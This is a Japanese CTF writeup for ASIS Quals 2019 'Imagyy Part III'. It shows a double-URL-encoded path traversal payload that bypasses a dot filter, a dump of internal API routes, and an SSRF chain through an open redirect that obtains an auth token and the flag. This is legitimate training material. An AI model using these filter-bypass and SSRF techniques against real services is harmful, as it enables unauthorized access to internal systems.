ASIS CTF Quals 2019 - Imagyy Part III Writeup

この問題はImagyy Main SiteとImagyy Part IIの続きのようで、問題を解く際にImagyy Main SiteのWebサイトの機能を使う必要がある(たぶん)。Imagyy Part IIを解こうとしていたところ、たまたまImagyy Part IIIのflagを手に入れてしまった。なお、Imagyy Part IIは結局解けなかった。

Imagyy Part IIで与えられたURLにアクセスすると次のページが表示される。

f:id:iso0:20190424020629p:plain

このページにアクセスすると裏では/fetcherに次のデータ(URLデコード済み)をPOSTする。

uri=/users/{userId}/image/{imageId}&method=get&params={"userId": "101", "imageId": "1000001"}

uri=/とすると次の応答が返ってくる。

{"result":{"code":404,"data":{"data":"Invalid API method","endpoint":"/api/v1/"}}}

/にアクセスしたいが.ブラックリストされているようで.%2eを含めるとSecurity failed.と怒られてしまう。しかし、%252eのように2回URLエンコードすることでこれを回避できる。

uri=/%252e%252e/%252e%252e/とすることでAPIの一覧を入手することができる。

{
  "image_api": {
    "ip": "198.211.125.37",
    "port": 5004,
    "routes": [
      {
        "name": "query",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "expressInit",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "<anonymous>",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "jsonParser",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "<anonymous>",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "bound dispatch",
        "keys": [
          {
            "name": "userId",
            "optional": false,
            "offset": 17
          },
          {
            "name": "imageId",
            "optional": false,
            "offset": 38
          }
        ],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/users/:userId/edit/:imageId",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "post"
            }
          ],
          "methods": {
            "post": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "keys": [
          {
            "name": "userId",
            "optional": false,
            "offset": 17
          },
          {
            "name": "imageId",
            "optional": false,
            "offset": 40
          }
        ],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/users/:userId/delete/:imageId",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "post"
            }
          ],
          "methods": {
            "post": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "params": {},
        "path": "/",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "keys": [
          {
            "name": "uri",
            "optional": false,
            "offset": 4
          }
        ],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/m/:uri",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "params": {},
        "path": "/api/v1/",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "keys": [
          {
            "name": "userId",
            "optional": false,
            "offset": 17
          },
          {
            "name": "imageId",
            "optional": false,
            "offset": 39
          }
        ],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/users/:userId/image/:imageId",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      }
    ]
  },
  "auth_api": {
    "ip": "198.211.125.37",
    "port": 5003,
    "routes": [
      {
        "name": "query",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "expressInit",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "<anonymous>",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "jsonParser",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "<anonymous>",
        "params": {},
        "path": "",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": true
        }
      },
      {
        "name": "bound dispatch",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/flag",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "params": {},
        "path": "/api/v1/issueToken/ip",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/issueToken/ip",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "params": {},
        "path": "/api/v1/issueToken/credentials",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/issueToken/credentials",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "post"
            }
          ],
          "methods": {
            "post": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/user/logout",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      },
      {
        "name": "bound dispatch",
        "params": {},
        "path": "/api/v1/user/me",
        "keys": [],
        "regexp": {
          "fast_star": false,
          "fast_slash": false
        },
        "route": {
          "path": "/api/v1/user/me",
          "stack": [
            {
              "name": "<anonymous>",
              "keys": [],
              "regexp": {
                "fast_star": false,
                "fast_slash": false
              },
              "method": "get"
            }
          ],
          "methods": {
            "get": true
          }
        }
      }
    ]
  }
}

このjsonからhttp://134.209.24.24:3000/fetcherへのpostはimage_api(198.211.125.37:5004)に送られていたということがわかる。また、auth_api(198.211.125.37:5003)という別のサーバーの存在もわかる。

興味深いエンドポイントは次の通り。なお、本記事をここまで書いたタイミングでサーバーに繋がらなくなってしまったので以降は記憶を頼りに書いていく。

上記から分かるように、まずtokenを入手する必要があるがhttp://134.209.24.24:3000/fetcherへのPOSTは198.211.125.37:5004に送られてしまう。ここでImagyy Main Siteという別の問題で37.139.17.29:8080にはオープンリダイレクタが存在していることを知っている必要がある。これを使うことで、http://198.211.125.37:5004/m/:uri -> http://37.139.17.29:8080/のオープンリダイレクタ -> http://198.211.125.37:5003/api/v1/issueToken/ipというリダイレクトのチェーンが可能となる。

あとは、http://134.209.24.24:3000/fetcherに対して前述のリダイレクトチェーンを行うようなリクエストをPOSTすることでtokenを入手し、入手したtokenを付与してhttp://198.211.125.37:5003/flagにアクセスすることでflagを入手できる。

ちなみにこの問題の1番最初の回答者でした。

f:id:iso0:20190424025452p:plain